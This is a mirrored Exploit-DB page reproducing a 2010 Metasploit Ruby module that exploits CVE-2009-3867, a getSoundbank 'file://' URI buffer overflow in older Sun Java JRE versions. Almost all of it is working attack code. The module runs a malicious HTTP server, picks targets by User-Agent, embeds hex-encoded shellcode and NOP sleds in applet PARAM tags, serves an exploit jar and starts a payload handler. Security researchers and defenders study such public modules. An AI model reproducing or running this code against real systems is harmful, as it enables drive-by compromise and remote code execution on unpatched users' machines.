Sun Java JRE – getSoundbank ‘file://’ URI Buffer Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2010-09-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16294/
  • ##
    # $Id: java_getsoundbank_bof.rb 10394 2010-09-20 08:06:27Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    
    require 'msf/core'
    
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GreatRanking
    
    	#
    	# This module acts as an HTTP server
    	#
    	include Msf::Exploit::Remote::HttpServer::HTML
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Sun Java JRE getSoundbank file:// URI Buffer Overflow',
    			'Description'=> %q{
    				This module exploits a flaw in the getSoundbank function in the Sun JVM.
    
    				The payload is serialized and passed to the applet via PARAM tags. It must be
    				a native payload.
    
    				The effected Java versions are JDK and JRE 6 Update 16 and earlier,
    				JDK and JRE 5.0 Update 21 and earlier, SDK and JRE 1.4.2_23 and
    				earlier, and SDK and JRE 1.3.1_26 and earlier.
    
    				NOTE: Although all of the above versions are reportedly vulnerable, only
    				1.6.0_u11 and 1.6.0_u16 on Windows XP SP3 were tested.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'kf',# Original PoC/exploit
    					'jduck'# metasploit version
    				],
    			'Version'=> '$Revision: 10394 $',
    			'References' =>
    				[
    					[ 'CVE', '2009-3867' ],
    					[ 'OSVDB', '59711' ],
    					[ 'BID', '36881' ],
    					[ 'URL', 'http://zerodayinitiative.com/advisories/ZDI-09-076/' ]
    				],
    			'Payload'=>
    				{
    					'Space'=> 1024,
    					'BadChars' => '',
    					'DisableNops' => true,
    				},
    			'Targets'=>
    				[
    =begin
    
    No automatic targetting for now ...
    
    					[ 'J2SE 1.6_16 Automatic',
    						{
    							'Platform' => ['win', 'linux', 'osx'],
    							'Arch' => [ARCH_X86, ARCH_PPC]
    						}
    					],
    =end
    					[ 'J2SE 1.6_16 on Windows x86',
    						{
    							'Platform' => 'win',
    							'Arch' => ARCH_X86
    						}
    					],
    					[ 'J2SE 1.6_16 on Mac OS X PPC',
    						{
    							'Platform' => 'osx',
    							'Arch' => ARCH_PPC,
    						}
    					],
    					[ 'J2SE 1.6_16 on Mac OS X x86',
    						{
    							'Platform' => 'osx',
    							'Arch' => ARCH_X86,
    						}
    					],
    				],
    			'DefaultTarget'=> 0,
    			'DisclosureDate' => 'Nov 04 2009'
    			))
    	end
    
    
    	def exploit
    		# load the static jar
    		path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2009-3867.jar")
    		fd = File.open(path, "rb")
    		@jar_data = fd.read(fd.stat.size)
    		fd.close
    
    		super
    	end
    
    
    	def on_request_uri(cli, req)
    
    		# Create a cached mapping between IP and detected target
    		@targetcache ||= {}
    		@targetcache[cli.peerhost] ||= {}
    		@targetcache[cli.peerhost][:update] = Time.now.to_i
    
    		if (target.name =~ /Automatic/)
    			case req.headers['User-Agent']
    			when /Windows/i
    				print_status("Choosing a Windows target for #{cli.peerhost}:#{cli.peerport}...")
    				@targetcache[cli.peerhost][:target] = self.targets[1]
    			when /PPC Mac OS X/i
    				print_status("Choosing a Mac OS X PPC target for #{cli.peerhost}:#{cli.peerport}...")
    				@targetcache[cli.peerhost][:target] = self.targets[2]
    			when /Intel Mac OS X/i
    				print_status("Choosing a Mac OS X x86 target for #{cli.peerhost}:#{cli.peerport}...")
    				@targetcache[cli.peerhost][:target] = self.targets[3]
    			else
    				print_status("Unknown target for: #{req.headers['User-Agent']}")
    			end
    		end
    
    		# Clean the cache
    		rmq = []
    		@targetcache.each_key do |addr|
    			if (Time.now.to_i > @targetcache[addr][:update]+60)
    				rmq.push addr
    			end
    		end
    
    		rmq.each {|addr| @targetcache.delete(addr) }
    
    
    		# Request processing
    		if (not req.uri.match(/\.jar$/i))
    
    			# Redirect to the base directory so the applet code loads...
    			if (not req.uri.match(/\/$/))
    				print_status("Sending redirect so path ends with / ...")
    				send_redirect(cli, get_resource() + '/', '')
    				return
    			end
    
    			# Display the applet loading HTML
    			print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
    			send_response_html(cli, generate_html(payload.encoded),
    				{
    					'Content-Type' => 'text/html',
    					'Pragma' => 'no-cache'
    				})
    			return
    		end
    
    		# Send the actual applet over
    		print_status("Sending applet to #{cli.peerhost}:#{cli.peerport}...")
    		send_response(cli, generate_applet(cli, req),
    			{
    				'Content-Type' => 'application/octet-stream',
    				'Pragma' => 'no-cache'
    			})
    
    		# Handle the payload
    		handler(cli)
    	end
    
    
    	def generate_html(pl)
    
    		html = <<-EOF
    <html>
    <head>
    <!-- <meta http-equiv=refresh content=10 /> -->
    </head>
    <body>
    <applet width='100%' height='100%' code='AppletX' archive='JARNAME'>
    <param name='sc' value='SCODE' />
    <param name='np' value='NOPS' />
    </applet>
    </body>
    </html>
    EOF
    
    		# finalize the html
    		jar_name = rand_text_alphanumeric(32)
    		html.gsub!(/JARNAME/, jar_name)
    
    		# add payload
    		debug_payload = false
    		pload = ""
    		pload << "\xcc" if debug_payload
    		pload << pl
    		if ((pload.length % 4) > 0)
    			pload << rand_text((4 - (pload.length % 4)))
    		end
    		if debug_payload
    			print_status("pload #{pload.length} bytes:\n" + Rex::Text.to_hex_dump(pload))
    		end
    		html.gsub!(/SCODE/, Rex::Text.to_hex(pload, ''))
    
    		# add nops
    		nops = "\x90\x90\x90\x90"
    		html.gsub!(/NOPS/, Rex::Text.to_hex(nops, ''))
    		#print_status("nops #{nops.length} bytes:\n" + Rex::Text.to_hex_dump(nops))
    
    		return html
    
    	end
    
    
    	def generate_applet(cli, req)
    
    		this_target = nil
    		if (target.name =~ /Automatic/)
    			if (@targetcache[cli.peerhost][:target])
    				this_target = @targetcache[cli.peerhost][:target]
    			else
    				return ''
    			end
    		else
    			this_target = target
    		end
    
    		return @jar_data
    	end
    
    end